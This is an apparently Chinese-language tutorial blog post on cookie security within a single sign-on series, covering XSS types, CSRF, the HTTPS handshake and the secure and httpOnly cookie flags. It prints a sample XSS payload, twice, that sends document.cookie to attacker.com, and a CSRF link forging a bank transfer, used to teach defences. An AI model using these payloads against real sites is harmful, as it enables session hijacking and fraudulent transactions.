單點登陸與權限管理本質：cookie安全問題

該系列好多天沒更新了，前幾天請假回老家了，外公去世了。工做上也開始忙了，開始了所謂的「996」，爲節奏和效率堪憂。

該系列的完整寫做計劃，可見：系列概述

系列第一部分索引：

1. session和cookie介紹
2. HTTP重定向
3. 單點登陸介紹
4. cookie安全問題
5. 權限管理介紹

繼續介紹「單點登陸與權限管理」系列的第一部分：單點登陸與權限管理本質，前一篇文章介紹了單點登陸概念，以CAS協議的基本流程爲例講解了系統間的交互過程，過程當中，cookie的設置和傳輸涉及的比較多，如何保證cookie的安全性，是這篇文章要介紹的。

安全相關的知識，瞭解的也有限，我閱讀了相關的文章，按照本身的思路、理解，進行了梳理和總結。

若是把安全問題按照發生區域來劃分的話，全部發生在後端服務器的安全問題稱爲「後端安全問題」，好比SQL注入；全部發生在瀏覽器、web頁面中的安全問題稱爲「前端安全問題」，好比XSS跨站腳本攻擊，cookie相關的問題主要在前端。

首先會介紹下2個攻擊，XSS可獲取用戶的cookie，CSRF可利用用戶的cookie僞造請求，而後介紹下HTTPS及它的重要性，最後說下跨域訪問cookie的限制，HTTP設置cookie時對cookie操做的控制。

XSS

XSS稱爲跨站腳本攻擊，全稱爲Cross-Site Scripting，這類安全問題發生的本質緣由是瀏覽器將攻擊者提供的用戶輸入數據當作JavaScript腳本執行了。

XSS有不一樣的分類方法，按照惡意腳本是否在應用中存儲，能夠劃分爲「存儲型XSS」和「反射性XSS」；按照是否和服務端有交互，能夠劃分爲「Server Side XSS」和「DOM based XSS」。

反射型XSS

場景說明：一些系統，在用戶輸入或操做錯誤後，會跳轉到錯誤信息提示頁面，服務器根據傳入的message顯示不一樣的錯誤信息。

若是服務端不對message進行過濾，就會收到XSS攻擊，好比請求URL：

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 
複製代碼

頁面顯示

<input type="text" value="${msg}">
複製代碼

若是被攻擊者經過訪問這個惡意的URL，就會把cookie發給黑客，黑客截獲cookie，就能執行用戶的任意操縱。

保存型XSS

對於保存型XSS，腳本一般保存在後端數據庫中，不通過濾就存儲並顯示給用戶。與反射型的流程不一樣的是，須要至少兩次請求，第一次將含有惡意代碼的數據提交給服務器，保存到數據庫，第二次是受害者訪問含有惡意代碼的頁面，惡意代碼執行。

DOM based XSS

其實也是反射型的一種，由於也是經過url控制頁面的輸出，不一樣點只是輸出地點不一樣而致使結果不一致。

加入請求URL和反射XSS相同:

https://support.kefu.mi.com?msg=
<script>
var i=new Image;
i.src="http://attacker.com/"+document.cookie;
</script> 
複製代碼

顯示頁面以下：

<input id="msg" type="text" value="${msg}" />
<div id="show"></div>
<script type="text/javascript">
var msg = document.getElementById("msg"); 
var show = document.getElementById("show");
show.innerHTML = msg.value;
</script>
複製代碼

防護XSS最佳的作法是對數據進行嚴格的輸出編碼，使得攻擊者提供的數據再也不被瀏覽器認爲是腳本而被誤執行。

CSRF

CSRF稱爲跨站請求僞造，全稱是Cross Site Request Forgery，它能夠在受害者絕不知情的狀況下，以受害者的名義僞造請求發送給受攻擊站點。

場景說明：小米金融網站A，有一個以下的轉帳接口

http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000
複製代碼

黑客H有一個網站B，在網站中放入以下代碼，經過廣告誘使受害者點擊。若是受害者以前登陸過網站A，且session還未過時，就會在受害者不知情的狀況下，成功轉帳給黑客。

<a href='http://jr.mi.com/transfer?to=dongqingqing&money=1000000000000'></a>
複製代碼

能夠經過驗證HTTP Referer字段、在請求地址中添加token並驗證、在HTTP頭中自定義屬性並驗證等方法進行解決；

HTTPS

建議全部對外網開放的站點都經過HTTPS，它是在HTTP協議的基礎上，加入了SSL層，對數據進行加密處理。

經過HTTPS協議，cookie在傳輸的過程當中，即便被別人劫持到請求，也不知道實際的cookie是什麼，沒法僞造其餘的請求。

HTTPS相關的介紹在網上不少，這裏描述下交互過程：

1. 瀏覽器將本身支持的一套加密規則發送給網站；
2. 網站從中選出一組加密算法與HASH算法，並將本身的身份信息以證書的形式發回給瀏覽器；（證書裏面包含了網站地址，加密公鑰，以及證書的頒發機構等信息）
3. 瀏覽器得到網站證書以後，要作如下工做：
   • 驗證證書的合法性（驗證頒發證書的機構是否合法，證書中包含的網站地址是否與正在訪問的地址一致等），若是驗證不經過，會給出證書不受信的提示；
   • 若是證書受信任，或者是用戶接受了不受信的證書，瀏覽器會生成一串隨機數的密碼，並用證書中提供的公鑰加密；
   • 使用約定好的HASH計算握手消息，並使用生成的隨機數對消息進行加密，最後將以前生成的全部信息發送給網站；
4. 網站接收瀏覽器發來的數據以後要作如下的操做：
   • 使用本身的私鑰將信息解密取出隨機數密碼，使用密碼解密瀏覽器發來的握手消息，並驗證HASH是否與瀏覽器發來的一致；
   • 使用隨機數密碼加密一段握手消息，發送給瀏覽器；
5. 瀏覽器解密並計算握手消息的HASH，若是與服務端發來的HASH一致，此時握手過程結束，以後全部的通訊數據將由以前瀏覽器生成的隨機密碼並利用對稱加密算法進行加密；

總結下：

• 握手階段，經過非對稱加密算法對傳輸的數據進行加解密，約定隨機數的密碼、加密算法、Hash算法；
• 正常傳輸數據時，由於非對稱加密比較耗時，使用隨機數的密碼進行加解密，隨機數密碼在瀏覽器端生成，經過非對稱加密傳輸給網站，因此不會泄露；
• 爲了防止數據被篡改，經過Hash算法進行校驗；

Cookie訪問控制

cookie如此重要，在瀏覽器端，若是一個網站能夠訪問其餘網站的cookie，確定不行的，因此瀏覽器是不容許跨域訪問cookie的，提升了Cookie的安全性。

在前面的文章 session和cookie介紹 中，已經介紹了cookie的做用域，主要是說一級域名相同狀況下如何共享使用cookie。

若是想實現跨域訪問，能夠經過JSONP、CORS的方法實現。

另外，HTTP設置cookie時，提供了2個屬性，能夠加強cookie的安全性，分別是secure屬性和httpOnly屬性。

secure屬性可防止信息在傳遞的過程當中被監聽捕獲後致使信息泄露，若是設置爲true，能夠限制只有經過https訪問時，纔會將瀏覽器保存的cookie傳遞到服務端，若是經過http訪問，不會傳遞cookie。

httpOnly屬性能夠防止程序獲取cookie，若是設置爲true，經過js等將沒法讀取到cookie，能有效的防止XSS攻擊。

經過本篇文章的介紹，爲了保障cookie的安全性，應要求經過HTTPS進行訪問，在編寫代碼時充分考慮，儘可能避免XSS、CSRF等cookie相關的攻擊方法。同時，瀏覽器和HTTP自己也對cookie的訪問控制進行了考慮。